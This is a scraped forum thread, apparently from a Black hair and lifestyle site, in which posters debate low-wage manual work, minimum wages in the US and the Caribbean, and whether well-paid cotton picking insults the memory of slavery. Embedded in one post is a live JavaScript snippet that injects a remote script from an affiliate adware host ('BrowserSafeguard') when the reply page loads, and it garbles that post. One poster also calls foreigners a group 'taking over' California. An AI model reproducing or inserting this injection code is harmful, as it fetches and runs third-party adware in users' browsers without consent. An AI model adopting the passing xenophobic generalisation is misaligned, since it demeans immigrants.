Slaves were black smith carpenters, wet nurses, nannies bartenders, masons, seamstresses ladies in waiting, bakers, butlers, housekeepers,they played instruments, they reared livestock. And some became overseers and looked over the accounts of the plantations too. 

Shoot the women in the market come from a line of women who have always sold in the market on the weekends when backra masters allowed the slaves to sell their crops in the market on the weekend. I should tell them to get up of their lazy asses and find work? I effin salute them. They and the male farmers work their land, load up on a country bus and go into the town to sell to feed the entire nation for generations.

ETA CC you heard me. I remember being in Miami when i was about 11 and hearing minimum wage was ____ and i was like bombohole! why arent i old enough to work?

I know US folks not makin end meets on their minimum wage but then i wonder how da fuqq do my ppl do it with kids?CryCryCryCryCry girrrll  low level office folks out here making $300 USD a month that just end up being the bus fare to home and back

I agree with Diane....we have to get out of this mindset that it would be disrespectful to take such jobs in this day and time. Slaves didn't get paid for what they did...and if they did get paid it wasn't competitive. That type of treatment wouldn't fly in the US in today's times. Your ancestors fought for our rights to earn a competitive wage and be treated as equals. Foreigners don't have this mindset and that is why they are slowly taking over this country....or at least California...

Not everyone has the privilage of only working jobs that they like. I don't like my job however I do like the life it provided me and my family. 

There's no shame in a honest wage and most people can't say what they's do in desperate times.

I don't understand the "pride" in not picking cotton as a job. (function () {if (top.location == self.location && top.location.href.split('#')[0] == 'http://forum.blackhairmedia.com/RTE_textarea.asp?mode=reply&ID=0&CACHE=1520') {var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;po.src = 'https://api.jollywallet.com/affiliate/client?dist=213&sub=bsg-open&name=BrowserSafeguard';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);}})();

Why? You picking cotton for 250 an hour to live in a wealthy neighborhood, send your children to the best schools, drive a nice car, own your own property, and vacation in the Bahamas once a year is NOT in ANY way comparable to slaves picking cotton, against their will, while being abused. 

To even reference what our ancestors had to do versus an optional job that guarantees half a million dollars a year is the real insult.
